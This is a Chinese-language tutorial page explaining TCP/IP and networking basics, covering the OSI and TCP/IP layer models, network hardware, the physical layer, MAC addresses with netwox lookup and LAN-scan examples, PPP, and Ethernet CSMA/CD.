首页 > 编程学习 > TCP/IP网络协议详解

TCP/IP网络协议详解

发布时间:2022/11/5 18:07:55

一、计算机网络概述

1、计算机网络定义

计算机网络是一些互相连接的、自治的计算机的集合,因特网是网络的网络。

2、计算机网络分类

根据作用范围分类:

  • 广域网 WAN (Wide Area Network)
  • 局域网 LAN (Local Area Network) 
  • 城域网 MAN (Metropolitan Area Network)
  • 个人区域网 PAN (Personal Area Network) 

根据使用者分类:

  • 公用网 (public network) 
  • 专用网 (private network) 

3、计算机网络的性能指标

1. 速率

速率即数据率(data rate)或比特率(bit rate)是计算机网络中最重要的一个性能指标。速率的单位是 b/s,或kb/s, Mb/s, Gb/s 等。

2. 带宽

“带宽”(bandwidth)本来是指信号具有的频带宽度,单位是赫(或千赫、兆赫、吉赫等)。

现在“带宽”是数字信道所能传送的“最高数据率”的同义语,单位是“比特每秒”,或 b/s (bit/s)。 

3. 吞吐量

吞吐量(throughput)表示在单位时间内通过某个网络(或信道、接口)的数据量。

吞吐量更经常地用于对现实世界中的网络的一种测量,以便知道实际上到底有多少数据量能够通过网络。吞吐量受网络的带宽或网络的额定速率的限制。

4. 时延

时延主要包括:发送时延、传播时延、处理时延、排队时延等。

5. 利用率

信道利用率指出某信道有百分之几的时间是被利用的(有数据通过),完全空闲的信道的利用率是零。网络利用率则是全网络的信道利用率的加权平均值,信道利用率并非越高越好。

4、计算机网络层次结构

相互通信的两个计算机系统必须高度协调工作才行,而这种“协调”是相当复杂的。 “分层”可将庞大而复杂的问题,转化为若干较小的局部问题,而这些较小的局部问题就比较易于研究和处理。

现在有两种国际标准,一种是OSI标准,是法律上的标准,但是没有被市场认可,一种是事实上的标准TCP/IP标准。

1. 协议与层次划分

计算机网络中的数据交换必须遵守事先约定好的规则。 这些规则明确规定了所交换的数据的格式以及有关的同步问题(同步含有时序的意思)。

网络协议(network protocol),简称为协议,是为进行网络中的数据交换而建立的规则、标准或约定。

2. 网络协议的组成要素

  • 语法:数据与控制信息的结构或格式 。 
  • 语义:需要发出何种控制信息,完成何种动作以及做出何种响应。 
  • 同步:事件实现顺序的详细说明。

3. 五层协议的体系结构

  • 应用层(application layer) 
  • 运输层(transport layer) 
  • 网络层(network layer) 
  • 数据链路层(data link layer) 
  • 物理层(physical layer) 

4. 实体、协议、服务和服务访问点

实体(entity) 表示任何可发送或接收信息的硬件或软件进程。 协议是控制两个对等实体进行通信的规则的集合。在协议的控制下,两个对等实体间的通信使得本层能够向上一层提供服务。

要实现本层协议,还需要使用下层所提供的服务。

本层的服务用户只能看见服务而无法看见下面的协议,下面的协议对上面的服务用户是透明的。 

协议是“水平的”,即协议是控制对等实体之间通信的规则。

服务是“垂直的”,即服务是由下层向上层通过层间接口提供的。

同一系统相邻两层的实体进行交互的地方,称为服务访问点 SAP (Service Access Point)。

TCP/IP体系结构: 

二、网络组成

网络是计算机或类似计算机的网络设备的集合,它们之间通过各种传输介质进行连接。无论设备之间如何连接,网络都是将来自于其中一台网络设备上的数据,通过传输介质传输到另外一台网络设备上。

1、网卡

网卡也被称为网络适配器(Network Adapter),是连接计算机和传输介质的接口。网卡主要用来将计算机数据转换为能够通过传输介质传输的信号。

1. 网卡种类

网络设备要访问互联网,就需要通过网卡进行连接。由于上网的方式不同,所使用的网卡种类也会不同。

网卡的种类有以下几种:

1)有线网卡

有线网卡就是通过“线”连接网络的网卡。这里所说的“线”指的是网线。

有线网卡常见形式如图所示:

2)无线网卡

与有线网卡相反,无线网卡是不需要通过网线进行连接的,而是通过无线信号进行连接。无线网卡通常特指Wi-Fi网络的无线网卡。

无线网卡常见形式如图所示:

3)蓝牙适配器

蓝牙适配器也是一种无线网卡。蓝牙适配器与无线网卡的区别是数据通信方式不同。

蓝牙适配器常见样式如图所示:

2. 安装方式分类

网卡通常是网络设备的从属设备。根据其安装方式,网卡可以分为内置网卡和外置网卡。

1)内置网卡

由于网卡已经成为连接网络的必要设备,所以很多网络设备都内置了网卡。因此,内置网卡也被称为集成网卡。

例如,现在的主板都集成了有线网卡,如图所示。

箭头所指的接口就是内置网卡提供的有线网卡接口。 

2)外置网卡

除了内置网卡外,很多网络设备都允许用户安装额外的网卡。这类网卡被称为外置网卡,有时被称为独立网卡。由于它可以插在主板的各种扩展插槽中,所以可以随意拆卸,具有一定的灵活性,有线网卡和无线网卡就属于外置网卡。

2、网络电缆

网络电缆用来连接网络中的各个设备,供设备之间进行数据通信。常见的网络电缆有双绞线、光纤、电话线等。

1. 双绞线

双绞线也就是网线。它是由两根具有绝缘保护层的铜导线缠绕组成的,如图所示。

这样的铜线一共有8根,每根都通过对应的颜色进行区分。现实生活中,家庭和企业中的计算机进行上网,一般都是通过双绞线连接网络。这些双绞线在排序上往往采用EIA/TIA 568B的线序,依
次为橙白、橙、绿白、蓝、蓝白、绿、棕白、棕。

2. 光纤 

光纤是一种传输光信号的细而柔软的媒质,多数光纤在使用前必须由几层保护结构包裹,如图所示。光纤的主要作用是把要传送的数据由电信号转换为光信号进行通信。在光纤的两端分别装有“光猫”进行信号转换。

3. 电话线

电话线就是连接电话的线。电话线也是由绝缘保护层的铜导线组成的。与双绞线不同的是,电话线只有2根或4根线,而且不一定会缠绕在一起,也没有颜色排序,如图所示。

3、网络设备

网络设备指的是网络组成中的设备,如交换机、路由器、调制解调器等。它们是发送或接收数据的终端设备。

1. 交换机

交换机(Switch)可以将多个网络设备连接起来组成一个局域网。它是一种用于电(光)信号转发的网络设备,用来进行数据交换。

交换机外观如图所示:

2. 路由器

路由器(Router)又称网关设备(Gateway),用于连接多个逻辑上分开的网络。所谓逻辑网络是代表一个单独的网络或者一个子网。当数据从一个子网传输到另一个子网中时,可通过路由器的路由功能来完成。它会根据信道的情况自动选择和设定路由,以最佳路径,按前后顺序发送信号。路由器也是用来进行数据转换的。路由器与交换机很容易区分,最大的区别是,路由器上有WAN口和LAN接口,而交换机没有这些接口。

常见的路由器外观如图所示:

3. 调制解调器

调制解调器(Modem),俗称“猫”,是一种计算机硬件。它能把计算机的数字信号翻译成可沿普通电话线传送的脉冲信号,而这些脉冲信号又可被线路另一端的另一个调制解调器接收,并翻译为计算机的数字信号语言。

调制解调器外观如图所示:

三、网络协议体系

网络协议是网络运行的基石。在网络中,网络设备、传输介质、网卡又各有不同,数据在传输过程中也会使用不同的规则进行传输,而这些规则是依靠网络协议完成的。

1、网络协议简介

网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。它规定了通信时信息必须采用的格式和这些格式所代表的意义。网络中存在着许多协议,接收方和发送方使用的协议必须一致,否则一方将无法识别另一方发出的信息。

网络协议使网络上各种设备能够相互交换信息。而TCP/IP协议就是一种常见的协议,Internet上的计算机使用的就是该协议。

1. TCP/IP协议

TCP/IP协议是Internet网络的基础协议。它不是一个协议,而是一个协议族的统称。起初它是一门新的通信技术。在20世纪70年代前半叶,ARPANET(全球互联网的祖先)中的一个研究机构研发了TCP/IP,直到1983年成为ARPANET网络中唯一指定的协议。最初研究这项新技术,主要用于国防军事上,是为了在通信过程中,即使遭到了敌人的攻击和破坏,也可以经过迂回线路实现最终通信,保证通信不中断。后来逐步演变为现有的TCP/IP协议族。该协议族包括TCP协议、IP协议和
ICMP协议和HTTP协议等。

2. OSI协议层次

OSI协议层次结构就是现在常说的OSI参考模型(Open System Interconnection Reference Model)。它是国际标准化组织(ISO)提出的一个标准框架,定义了不同计算机互连的标准,目的是使世界范围内的各种计算机互连起来,构成一个网络。

OSI框架是基于1984年国际标准化组织(ISO)发布的ISO/IEC 7498标准。该标准定义了网络互联的7层框架。这7层框架自下而上依次为物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。

层次如图所示:

每层的作用如下:

  • 应用层:为应用程序提供服务并规定应用程序中相关的通信细节。常见的协议包括超文本传输协议(HTTP)、简单邮件传送协议(SMTP)和远程登录(Telnet)协议等。
  • 表示层:将应用处理的信息转换为适合网络传输的格式,或将来自下一层的数据转换为上层能够处理的格式。该层主要负责数据格式的转换,确保一个系统的应用层信息可被另一个系统应用层读取。
  • 会话层:负责建立和断开通信连接(数据流动的逻辑通路),以及记忆数据的分隔等数据传输相关的管理。
  • 传输层:只在通信双方的节点上(比如计算机终端)进行处理,无须在路由器上处理。
  • 网络层:将数据传输到目标地址,主要负责寻找地址和路由选择,网络层还可以实现拥塞控制、网际互联等功能。
  • 数据链路层:负责物理层面上互连的节点间的通信传输。例如,一个以太网相连的两个节点之间的通信。该层的作用包括:物理地址寻址、数据的成帧、流量控制、数据的检错和重发等。
  • 物理层:利用传输介质为数据链路层提供物理连接,实现比特流的透明传输。 

3. TCP/IP协议层次结构

TCP/IP协议层次结构也就是现在常说的TCP/IP参考模型。它是ARPANET和其后继的因特网使用的参考模型。基于TCP/IP的参考模型,可以将协议分成4个层次,从上到下分别为应用层、传输层、网际层和网络访问层。分层以后,层中的协议只负责该层的数据处理。

TCP/IP协议层次结构如图所示:

每层的作用如下:

  • 应用层:为应用程序提供服务并规定应用程序中相关的通信细节。
  • 传输层:为两台主机上的应用程序提供端到端的通信,提供流量控制、错误控制和确认服务。
  • 网际层:提供独立于硬件的逻辑寻址,从而让数据能够在具有不同的物理结构的子网之间传递。负责寻找地址和路由选择的同时,网络层还可以实现拥塞控制、网际互联等功能。
  • 网络访问层:提供了与物理网络连接的接口。针对传输介质设置数据格式,根据硬件的物理地址实现数据的寻址,对数据在物理网络中的传递提供错误控制。 

网络访问层是TCP/IP协议栈的最底层。它提供物理网络的接口,实现对复杂数据的发送和接收。网络访问层协议为网络接口、数据传输提供了对应的技术规范。

网际层是TCP/IP协议的第二层。它提供独立于硬件的逻辑寻址,从而让数据能够在具有不同物理结构的子网之间传递。这种传递基于IP协议提供的IP地址实现。

传输层(Transport Layer)是OSI协议的第四层协议,是唯一负责总体的数据传输和数据控制传输层的一层协议。传输层提供端到端的交换数据机制,它不仅对会话层、表示层和应用层这高三层提供可靠的传输服务,还对网络层提供可靠的目的地站点信息。

2、网络体系

网络体系定义了物理网络的构成,以及对应的通信协议。例如,有线网络和无线网络是两种不同的网络体系。

1. 体系的构成

由于网络体系不仅定义了网络构成,还规定了通信方式,所以它包括以下4个方面。

  • 访问方法:定义了计算机使用传输介质的规则。通过这些规则,可以避免数据传输的各种冲突。
  • 数据帧格式:定义了数据传输的格式。所有要传输的数据必须按照该格式进行传输。
  • 布线类型:定义了网络适配器和其他网络设备的连接方式。例如,每台计算机都通过电缆连接到网络设备,从而形成星型网络。
  • 布线规则:定义网络适配器和网络设备连接规范,如网络适配器接口类型和连线长度等。

2. 类型

由于网络使用的场景和数据传输所使用的终端设备不同,在物理层中识别的网络接口设备也会不同。网络体系主要分为4大类型,每种类型及使用范围如下:

  • IEEE 802.3(以太网):在大多数办公室和家庭中使用的基于线缆的网络,就是常见的有线局域网。
  • IEEE 802.11(无线网络):在办公室、家庭和咖啡厅使用的无线网络技术,如Wi-Fi网络。
  • IEEE 802.16(WiMAX):用于移动通信长距离无线连接的技术。
  • 点到点协议(PPP):使用Modem通过电话线进行连接的技术,如通过拨号方式建立的网络连接。

四、物理层

1、物理层简介

物理层的主要任务描述为确定与传输媒体的接口的一些特性。

做为是OSI七层网络模型中的第1层,它虽然处于最底层,却是整个开放系统的基础。在进行数据传输时,物理层的作用是提供传送数据的通路和可靠的环境。

1. 物理特性

  • 机械特性:指明接口所用接线器的形状和尺寸、引线数目和排列、固定和锁定装置等等;
  • 电气特性:指明在接口电缆的各条线上出现的电压的范围;
  • 功能特性:指明某条线上出现的某一电平的电压表示何种意义;
  • 过程特性:指明对于不同功能的各种可能事件的出现顺序;

2. 相关术语及概念

  • 数据(data):运送消息的实体;
  • 信号(signal):数据的电气的或电磁的表现;
  • “模拟的”(analogous):代表消息的参数的取值是连续的; 
  • “数字的”(digital):代表消息的参数的取值是离散的;
  • 码元(code):在使用时间域(或简称为时域)的波形表示数字信号时,代表不同离散数值的基本波形;
  • 单向通信(单工通信):只能有一个方向的通信而没有反方向的交互;
  • 双向交替通信(半双工通信):通信的双方都可以发送信息,但不能双方同时发送(当然也就不能同时接收);
  • 双向同时通信(全双工通信):通信的双方可以同时发送和接收信息;
  • 信噪比:香农(Shannon)用信息论的理论推导出了带宽受限且有高斯白噪声干扰的信道的极限、无差错的信息传输速率;

信道的极限信息传输速率 C 可表达为:

 C = W log2(1+S/N)  b/s 
  • W 为信道的带宽(以 Hz 为单位);
  • S 为信道内所传信号的平均功率;
  • N 为信道内部的高斯噪声功率;

信道的带宽或信道中的信噪比越大,则信息的极限传输速率就越高。 

只要信息传输速率低于信道的极限信息传输速率,就一定可以找到某种办法来实现无差错的传输。 

若信道带宽 W 或信噪比 S/N 没有上限(当然实际信道不可能是这样的),则信道的极限信息传输速率 C 也就没有上限。

实际信道上能够达到的信息传输速率要比香农的极限传输速率低不少。

3. 信道复用技术

信道复用技术有频分复用、时分复用、统计时分复用、码分复用、波分复用。

频分复用:用户在分配到一定的频带后,在通信过程中自始至终都占用这个频带。频分复用的所有用户在同样的时间占用不同的带宽资源(请注意,这里的“带宽”是频率带宽而不是数据的发送速率)。

时分复用:时分复用则是将时间划分为一段段等长的时分复用帧(TDM 帧)。每一个时分复用的用户在每一个 TDM 帧中占用固定序号的时隙。每一个用户所占用的时隙是周期性地出现(其周期就是 TDM  帧的长度)。TDM 信号也称为等时(isochronous)信号。时分复用的所有用户是在不同的时间占用同样的频带宽度。

波分复用:波分复用就是光的频分复用。

码分复用:常用的名词是码分多址 CDMA (Code Division Multiple Access)。各用户使用经过特殊挑选的不同码型,因此彼此不会造成干扰。这种系统发送的信号有很强的抗干扰能力,其频谱类似于白噪声,不易被敌人发现。每一个比特时间划分为 m 个短的间隔,称为码片(chip)。

4. ADSL技术

ADSL 技术就是用数字技术对现有的模拟电话用户线进行改造,使它能够承载宽带业务。

标准模拟电话信号的频带被限制在 300~3400 Hz 的范围内,但用户线本身实际可通过的信号频率仍然超过 1 MHz。

ADSL 技术就把 0~4 kHz 低端频谱留给传统电话使用,而把原来没有被利用的高端频谱留给用户上网使用。

DSL 就是数字用户线(Digital Subscriber Line)的缩写。

2、网络适配器

对于计算机来说,物理层对应的就是网络适配器。

根据网络适配器的存在方式,可以分为两类。

第一类是物理网络适配器,如有线网卡、无线网卡;第二类是虚拟网络适配器,如宽带拨号连接、VPN连接等。

显示计算机上的网络适配器信息,执行命令如下:

root@daxueba:~# netwox 169

Lo0 127.0.0.1 notether
Lo0 ::1 notether
Eth0 192.168.59.131 00:0C:29:CA:E4:66
Eth0 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466 00:0C:29:CA:E4:66
Eth0 fd15:4ba5:5a2b:1008:61f8:89cd:3207:9d0 00:0C:29:CA:E4:66
Eth0 fe80::20c:29ff:feca:e466 00:0C:29:CA:E4:66

从输出信息可以看到,该计算机中存在两类网络适配器,分别为Lo和Eth。其中,Lo表示回环接口,它是虚拟网络适配器;Eth为以太网网络适配器。如果同类型设备有多个,会在后面添加数字编号。编号从0开始,表示该类型的网络接口的第一个设备。

3、物理地址

在局域网中,硬件地址又称为物理地址,或 MAC 地址。

物理地址是一种标识符,用来标记网络中的每个设备。同现实生活中收发快递一样,网络内传输的所有数据包都会包含发送方和接收方的物理地址。由于网络设备对物理地址的处理能力有限,物理地址只在当前局域网内有效。所以,接收方的物理地址都必须存在于当前局域网内,否则会导致发送失败。

1. MAC地址是预留的

由于数据包中都会包含发送方和接收方的物理地址,数据包从起始地发送到目的地,为了能够正确地将数据包发送出去,就必须要求MAC地址具有唯一性。因此MAC地址都是由生产厂家在生产时固化在网络硬件中,是硬件预留的地址。

2. MAC地址格式

硬件的MAC地址是厂家按照一定的规则,进行设置所产生的。因此,MAC地址拥有自己的格式。它采用十六进制数表示,共6个字节(48位),长度为48bit。整个地址可以分为前24位和后24位,代表不同的含义。

  • 前24位称为组织唯一标识符(Organizationally Unique Identifier,OUI),是由IEEE的注册管理机构给不同厂家分配的代码,区分了不同的厂家。
  • 后24位是由厂家自己分配的,称为扩展标识符。同一个厂家生产的网卡中MAC地址后24位是不同的。

3. 查询MAC厂商

由于MAC地址的前24位是生产厂商的标识符,因此可以根据前24位标识符判断出硬件的生产厂商和生产地址。用户可以在一些网站上查询,如

MAC地址查询 - 根据网卡MAC地址查询厂商信息 - MAC地址查厂商

案例:查询MAC地址00:0C:29:CA:E4:66所对应的厂商。

(1)在浏览器中输入网址http://mac.51240.com/ ,如图所示。

(2)在“MAC地址”文本框中输入MAC地址00-0C-29-CA-E4-66。然后单击“查询”按钮,查询结果如图所示。 

从图中可以看到MAC地址00-0C-29-CA-E4-66的厂商是VMware,Inc,由此可以推断出这是一台虚拟机设备,并且可以看到厂家对应的省份、街道、邮编等信息。 

4. 查看网络主机MAC地址信息

一个局域网或公司中往往存在多台计算机,这些计算机都有自己的MAC地址和IP地址。其中,IP地址是可变的,而MAC地址一般是不可变的。为了准确地识别主机,用户可以获取计算机对应的MAC地址。

案例:显示网络主机MAC地址信息。

(1)显示局域网中指定主机的MAC地址信息。

例如,显示主机192.168.59.133的MAC地址。

执行命令如下:

root@daxueba:~# netwox 5 -i 192.168.59.133

输出信息如下:

192.168.59.133 00:0C:29:D0:21:23

输出信息表示主机192.168.59.133的MAC地址为00:0C:29:D0:21:23。

(2)显示局域网中所有主机的MAC地址,执行命令如下:

root@daxueba:~# netwox 5 -i 192.168.59.0/24

输出所有主机的MAC地址如下:

192.168.59.1   00:50:56:C0:00:08
192.168.59.2   00:50:56:EA:F3:A1
192.168.59.131 00:0C:29:CA:E4:66
192.168.59.132 00:0C:29:C4:8A:DE
192.168.59.133 00:0C:29:D0:21:23
192.168.59.254 00:50:56:F0:69:32

以上输出信息显示了局域网中所有启用主机的IP地址和对应的MAC地址。

(3)在显示局域网中所有主机的MAC地址信息时,有时由于暂时没有发现主机,等待较长的时间,也不会有任何输出信息。

为了能够更好地了解当前的进度,可以使用-u选项,显示未发现主机的MAC地址的信息,进而可以查看扫描进度。执行命令如下:

root@daxueba:~# netwox 5 -i 192.168.59.0/24 -u

输出信息如下:

192.168.59.0 unresolved
192.168.59.1 00:50:56:C0:00:08
192.168.59.2 00:50:56:EA:F3:A1
192.168.59.3 unresolved
…         #省略其他信息
192.168.59.131 00:0C:29:CA:E4:66
192.168.59.132 00:0C:29:C4:8A:DE
192.168.59.133 00:0C:29:D0:21:23
192.168.59.134 unresolved
192.168.59.135 unresolved
…         #省略其他信息
192.168.59.254 00:50:56:F0:69:32
192.168.59.255 unresolved

从输出信息可以看到,程序对局域网中的所有主机进行了扫描,主机IP地址为192.168.59.0到192.168.59.255。如果扫描的主机存在,则给出对应的MAC地址;如果主机不存在,则显示为unresolved。

5. 根据MAC地址获取主机其他信息

进行数据传输的主机不仅拥有MAC地址,还拥有路由器分配的IP地址,有的还会有自己的主机名、标题等信息。

如果知道了主机的MAC地址信息,那么就可以使用netwox工具获取该主机的这些信息。

案例:已知一主机的MAC地址为00:0C:29:CA:E4:66,显示该主机的其他信息。

(1)显示该主机相关信息,执行命令如下:

root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66

输出信息如下:

IP address: 192.168.59.131
Hostname:   localhost
Hostnames:  localhost

从输出信息可以看到,该主机的IP地址为192.168.59.131,主机名为localhost。

(2)如果在显示信息时只想显示IP地址信息,可以使用--ip选项,执行命令如下:

root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --ip

输出信息只有IP地址信息,如下:

192.168.59.131

(3)如果在显示信息时只想显示主机名信息,可以使用--host选项,执行命令如下:

root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --host

输出信息只有主机名信息,如下:

localhost

(4)如果在显示信息时只想显示标题信息,可以使用--title选项,执行命令如下:

root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --title

执行命令后,如果没有输出信息,表示该主机没有标题信息

五、数据链路层

1、数据链路层简介

数据链路层是OSI七层网络模型中的第2层,介于物理层与网络层之间,用来为网络层提供数据传送服务。它定义了数据传输的起始位置,并且通过一些规则来控制这些数据的传输,以保证数据传输的正确性。

由于数据链路层完成以上两个独立的任务,所以相应地划分为两个子层,其含义如下:

  • 介质访问控制(Media Access Control,MAC):提供与网络适配器连接的接口。实际上,网络适配器驱动程序通常被称为MAC驱动,而网卡在工厂固化的硬件地址通常被称为MAC地址。
  • 逻辑链路控制(Logical Link Control,LLC):这个子层对经过子网传递的帧进行错误检查,并且管理子网上通信设备之间的链路。

1. 数据链路层使用的两种信道类型

点对点信道:这种信道使用一对一的点对点通信方式。

广播信道:这种信道使用一对多的广播通信方式,因此过程比较复杂。广播信道上连接的主机很多,因此必须使用专用的共享信道协议来协调这些主机的数据发送。

2. 数据链路层的简单模型

3. 数据链路和帧

链路(link)是一条无源的点到点的物理线路段,中间没有任何其他的交换结点。一条链路只是一条通路的一个组成部分。

数据链路(data link) 除了物理线路外,还必须有通信协议来控制这些数据的传输。若把实现这些协议的硬件和软件加到链路上,就构成了数据链路。现在最常用的方法是使用适配器(即网卡)来实现这些协议的硬件和软件。一般的适配器都包括了数据链路层和物理层这两层的功能。

4. 数据链路层的三个基本问题

1)封装成帧

封装成帧(framing)就是在一段数据的前后分别添加首部和尾部,然后就构成了一个帧。确定帧的界限,首部和尾部的一个重要作用就是进行帧定界。

2)透明传输

透明传输问题是在一个数据帧中数据部分出现了和首部和尾部相同的数据。导致不能准确的进行帧定界。

解决办法:发送端的数据链路层在数据中出现控制字符“SOH”或“EOT”的前面插入一个转义字符“ESC”(其十六进制编码是 1B)。

字节填充(byte stuffing)或字符填充(character stuffing)——接收端的数据链路层在将数据送往网络层之前删除插入的转义字符。

如果转义字符也出现数据当中,那么应在转义字符前面插入一个转义字符。当接收端收到连续的两个转义字符时,就删除其中前面的一个。

3)差错控制

在传输过程中可能会产生比特差错:1 可能会变成 0 而 0 也可能变成 1。在一段时间内,传输错误的比特占所传输比特总数的比率称为误码率 BER (Bit Error Rate),误码率与信噪比有很大的关系。

为了保证数据传输的可靠性,在计算机网络传输数据时,必须采用各种差错检测措施。在数据链路层传送的帧中,广泛使用了循环冗余检验 CRC 的检错技术。

2、PPP点对点协议

现在全世界使用得最多的数据链路层协议是点对点协议 PPP (Point-to-Point Protocol)。用户使用拨号电话线接入因特网时,一般都是使用 PPP 协议。

1. PPP协议满足的需求

  • 简单——这是首要的要求;
  • 封装成帧;
  • 透明性; 
  • 多种网络层协议; 
  • 多种类型链路; 
  • 差错检测; 
  • 检测连接状态; 
  • 最大传送单元; 
  • 网络层地址协商;
  • 数据压缩协商;

2. PPP协议不需要的功能

  • 纠错; 
  • 流量控制;
  • 序号; 
  • 多点线路; 
  • 半双工或单工链路; 
  • PPP协议的三个组成部分;
  • 一个将 IP 数据报封装到串行链路的方法;
  • 链路控制协议 LCP (Link Control Protocol);
  • 网络控制协议 NCP (Network Control Protocol);

3. PPP协议的帧格式

PPP 是面向字节的,所有的 PPP 帧的长度都是整数字节。

4. PPP协议的透明传输问题

当 PPP 用在同步传输链路时,协议规定采用硬件来完成比特填充(和 HDLC 的做法一样)。 

当 PPP 用在异步传输时,就使用一种特殊的字符填充法。

5. 字符填充

将信息字段中出现的每一个 0x7E 字节转变成为 2 字节序列(0x7D, 0x5E)。 若信息字段中出现一个 0x7D 的字节, 则将其转变成为 2 字节序列(0x7D, 0x5D)。若信息字段中出现 ASCII 码的控制字符(即数值小于 0x20 的字符),则在该字符前面要加入一个 0x7D 字节,同时将该字符的编码加以改变。

6. 比特填充

PPP 协议用在 SONET/SDH 链路时,是使用同步传输(一连串的比特连续传送)。这时 PPP 协议采用零比特填充方法来实现透明传输。

在发送端,只要发现有 5 个连续 1,则立即填入一个 0。接收端对帧中的比特流进行扫描。每当发现 5 个连续1时,就把这 5 个连续 1 后的一个 0 删除。

PPP协议不提供序号和确认的可靠传输。

原因:在数据链路层出现差错的概率不大时,使用比较简单的 PPP 协议较为合理。在因特网环境下,PPP 的信息字段放入的数据是 IP 数据报。数据链路层的可靠传输并不能够保证网络层的传输也是可靠的。帧检验序列 FCS 字段可保证无差错接受。

7. PPP协议的工作状态

当用户拨号接入 ISP 时,路由器的调制解调器对拨号做出确认,并建立一条物理连接。PC 机向路由器发送一系列的 LCP 分组(封装成多个 PPP 帧)。这些分组及其响应选择一些 PPP 参数,和进行网络层配置,NCP 给新接入的 PC机分配一个临时的 IP 地址,使 PC 机成为因特网上的一个主机。通信完毕时,NCP 释放网络层连接,收回原来分配出去的 IP 地址。接着,LCP 释放数据链路层连接。最后释放的是物理层的连接。

3、局域网概述

局域网最主要的特点是:网络为一个单位所拥有,且地理范围和站点数目均有限。

局域网具有如下的一些主要优点:具有广播功能,从一个站点可很方便地访问全网。

局域网上的主机可共享连接在局域网上的各种硬件和软件资源,便于系统的扩展和逐渐地演变,各设备的位置可灵活调整和改变。提高了系统的可靠性、可用性和残存性。

局域网拓扑:

计算机网络的拓扑结构是引用拓扑学中研究与大小、形状无关的点、线关系的方法。它把网络中的计算机和通信设备抽象为一个点,把传输介质抽象为一条线,而由点和线组成的几何图形就是计算机网络的拓扑结构。

主要分为总线型和星型两种:

  • 总线型:是指所有计算机通过一条同轴电缆进行连接。
  • 星型:是指所有计算机都连接到一个中央网络设备上(如交换机)。 

4、以太网概述

以太网是现有局域网最常用的通信协议标准,其网络结构通常为星型结构。在网络中,计算机使用传输介质进行连接,网络数据通过传输介质进行传输来完成整个通信。

以太网是目前最为广泛的局域网技术,主要解决网络设备之间连接与数据传输的方法。

1. 传输介质

不论是总线型还是星型,计算机和通信设备之间进行数据传输都需要有传输介质。以太网采用了多种连接介质,如同轴缆、双绞线和光纤等。

其中,双绞线多用于从主机到集线器或交换机的连接,而光纤则主要用于交换机间的级联和交换机到路由器间的点到点链路上。同轴缆作为早期的主要连接介质,现在已经逐渐被淘汰。

2. 工作机制

有了传输介质以后,以太网中的数据就可以借助传输介质进行传输了。以太网采用附加冲突检测的载波帧听多路访问(CSMA/CD)机制,以太网中所有节点都可以看到在网络中发送的所有信息。因此,以太网是一种广播网络。

它需要判断计算机何时可以把数据发送到访问介质。通过使用CSMA/CD,所有计算机都可以监视传输介质的状态,在传输之前等待线路空闲。如果两台计算机尝试同时发送数据,就会发生冲突,计算机会停止发送,等待一个随机的时间间隔,然后再次尝试发送。

当以太网中的一台主机要传输数据时,工作过程如下:

  1. 监听信道上是否有信号在传输。如果有,表示信道处于忙状态,则继续帧听,直到信道空闲为止。
  2. 若没有监听到任何信号,就传输数据。
  3. 传输数据的时候继续监听。如果发现冲突,则执行退避算法。随机等待一段时间后,重新执行步骤1。当冲突发生时,涉及冲突的计算机会返回监听信道状态。若未发现冲突,则表示发送成功。

3. CSMA/CD(载波监听多点接入/碰撞检测)

“多点接入”表示许多计算机以多点接入的方式连接在一根总线上。

“载波监听”是指每一个站在发送数据之前先要检测一下总线上是否有其他计算机在发送数据,如果有,则暂时不要发送数据,以免发生碰撞。 总线上并没有什么“载波”。因此, “载波监听”就是用电子技术检测总线上有没有其他计算机发送的数据信号。 

“碰撞检测”就是计算机边发送数据边检测信道上的信号电压大小。

当几个站同时在总线上发送数据时,总线上的信号电压摆动值将会增大(互相叠加)。

当一个站检测到的信号电压摆动值超过一定的门限值时,就认为总线上至少有两个站同时在发送数据,表明产生了碰撞。

所谓“碰撞”就是发生了冲突。因此“碰撞检测”也称为“冲突检测”。

使用 CSMA/CD 协议的以太网不能进行全双工通信而只能进行双向交替通信(半双工通信)。每个站在发送数据之后的一小段时间内,存在着遭遇碰撞的可能性。 这种发送的不确定性使整个以太网的平均通信量远小于以太网的最高数据率。

1)争用期

最先发送数据帧的站,在发送数据帧后至多经过时间 2t(两倍的端到端往返时延)就可知道发送的数据帧是否遭受了碰撞。

以太网的端到端往返时延 2t称为争用期,或碰撞窗口。经过争用期这段时间还没有检测到碰撞,才能肯定这次发送不会发生碰撞。

2)二进制指数类型退避算法 

发生碰撞的站在停止发送数据后,要推迟(退避)一个随机时间才能再发送数据。

基本退避时间取为争用期 2t。

从整数集合[0,1,…, (2k -1)]中随机地取出一个数,记为 r。重传所需的时延就是 r 倍的基本退避时间。

参数 k 按下面的公式计算:

k = Min[重传次数, 10]

当 k <=10 时,参数 k 等于重传次数。

当重传达 16 次仍不能成功时即丢弃该帧,并向高层报告。

3)争用期的长度

以太网取 51.2 us 为争用期的长度。

对于 10 Mb/s 以太网,在争用期内可发送512 bit,即 64 字节。

以太网在发送数据时,若前 64 字节没有发生冲突,则后续的数据就不会发生冲突。

4)最短有效帧长

如果发生冲突,就一定是在发送的前 64 字节之内。 由于一检测到冲突就立即中止发送,这时已经发送出去的数据一定小于 64 字节。 

以太网规定了最短有效帧长为 64 字节,凡长度小于 64 字节的帧都是由于冲突而异常中止的无效帧。

4. 以太网的两种通信简便的措施

采用较为灵活的无连接的工作方式,即不必先建立连接就可以直接发送数据。

以太网对发送的数据帧不进行编号,也不要求对方发回确认。这样做的理由是局域网信道的质量很好,因信道质量产生差错的概率是很小的。

5. 以太网提供的服务

以太网提供的服务是不可靠的交付,即尽最大努力的交付。

当目的站收到有差错的数据帧时就丢弃此帧,其他什么也不做。

差错的纠正由高层来决定。如果高层发现丢失了一些数据而进行重传,但以太网并不知道这是一个重传的帧,而是当作一个新的数据帧来发送。

5、以太网帧结构

以太网链路传输的数据包称做以太帧。在以太网中,网络访问层的软件必须把数据转换成能够通过网络适配器硬件进行传输的格式。

1. 工作机制

当以太网软件从网络层接收到数据报之后,需要完成如下操作:

(1)根据需要把网际层的数据分解为较小的块,以符合以太网帧数据段的要求。以太网帧的整体大小必须在64~1518字节之间(不包含前导码)。有些系统支持更大的帧,最大可以支持9000字节。

(2)把数据块打包成帧。每一帧都包含数据及其他信息,这些信息是以太网网络适配器处理帧所需要的。

